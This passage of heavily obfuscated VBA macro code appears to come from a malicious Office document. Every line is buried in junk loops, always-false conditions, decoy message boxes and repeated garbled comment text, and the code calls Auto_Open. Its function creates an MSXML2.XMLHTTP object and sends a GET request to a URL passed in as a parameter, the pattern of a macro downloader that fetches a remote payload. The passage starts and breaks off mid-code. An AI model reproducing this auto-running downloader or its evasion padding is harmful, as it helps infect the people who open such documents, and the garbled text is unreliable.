Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim trUJgLlU As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For trUJgLlU = 0 To 3 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim xtxNqOon As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For xtxNqOon = 0 To 3 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next xtxNqOon 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next trUJgLlU 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim RfozlAQR As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For RfozlAQR = 0 To 7 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next RfozlAQR 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Auto_Open 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End Sub 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Function QOZMTJITZON(ByVal DCRVOFYOBOL As String, ByVal ZXWOGYWHSHM As String) As Boolean 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim TANDPOVQGQA As Object, FJOOUIEHIOV As Long, FPBPEDJWSVG As Long, QIQIKQJTKIU() As Byte 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If 566372 = 566372 + 1 Then End 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If 2411 < 27 Then 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim rfPSmzlN As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For rfPSmzlN = 0 To 9 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim ATYpjcIY As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For ATYpjcIY = 0 To 4 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next ATYpjcIY 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next rfPSmzlN 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim IFlqvhqP As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For IFlqvhqP = 0 To 5 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next IFlqvhqP 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó MsgBox ("nKVDQSej91") 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End If 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If Len("ACCeTSDh5674") = Len("wjwIvKaE") Then 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim sffbGJoy As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For sffbGJoy = 0 To 7 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim PAbPxqto As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For PAbPxqto = 0 To 2 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next PAbPxqto 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next sffbGJoy 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim ctlgBRWB As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For ctlgBRWB = 0 To 9 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next ctlgBRWB 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó MsgBox ("Error !!!") 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End If 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim WdkiruYI As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For WdkiruYI = 0 To 4 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim BJzIKaxL As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For BJzIKaxL = 0 To 5 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next BJzIKaxL 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next WdkiruYI 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim nIjnoxeb As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For nIjnoxeb = 0 To 1 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next nIjnoxeb 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Set TANDPOVQGQA = CreateObject("MSXML2.XMLHTTP") 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó TANDPOVQGQA.Open "GET", DCRVOFYOBOL, False 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If 827871 = 827871 + 1 Then End 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If 2968 < 85 Then 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim CNvYzzAu As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For CNvYzzAu = 0 To 1 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim McdFpCWD As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For McdFpCWD = 0 To 1 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next McdFpCWD 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next CNvYzzAu 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim bHUopjZl As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For bHUopjZl = 0 To 6 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next bHUopjZl 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó MsgBox ("qsBIZzgG98") 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End If 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If Len("AxnHEQRV5232") = Len("eNeeSprR") Then 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim fuJqwQoo As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For fuJqwQoo = 0 To 7 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim jLLhblEW As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For jLLhblEW = 0 To 8 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next jLLhblEW 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next fuJqwQoo 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim FrvMnLlY As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For FrvMnLlY = 0 To 3 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next FrvMnLlY 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó MsgBox ("Error !!!") 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End If 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim IQSZuhoB As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For IQSZuhoB = 0 To 2 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim dgNQQjLb As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For dgNQQjLb = 0 To 7 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next dgNQQjLb 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next IQSZuhoB 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim KUwyQQnu As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For KUwyQQnu = 0 To 4 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next KUwyQQnu 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó TANDPOVQGQA.Send "sfdggdfe" 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If 924828 = 924828 + 1 Then End 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If 6996 < 87 Then 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim CeoHYCVh As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For CeoHYCVh = 0 To 4 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim GzTxeFrs As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For GzTxeFrs = 0 To 3 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next GzTxeFrs 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next CeoHYCVh 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim mmNJeoQL As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For mmNJeoQL = 0 To 9 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next mmNJeoQL 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó MsgBox ("XxHhTgDg61") 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End If 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If Len("XAGYbgcf9369") = Len("rhcZCyof") Then 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim EslVKgLV As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For EslVKgLV = 0 To 7 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim tqKcDlyT As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For tqKcDlyT = 0 To 9 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next tqKcDlyT 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next EslVKgLV 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim EwczGLXh As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For EwczGLXh = 0 To 7 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next EwczGLXh 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó MsgBox ("Error !!!") 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End If 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim EdjpasEu As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For EdjpasEu = 0 To 7 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim VNhTOmYg As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For VNhTOmYg = 0 To 1 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next VNhTOmYg 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù 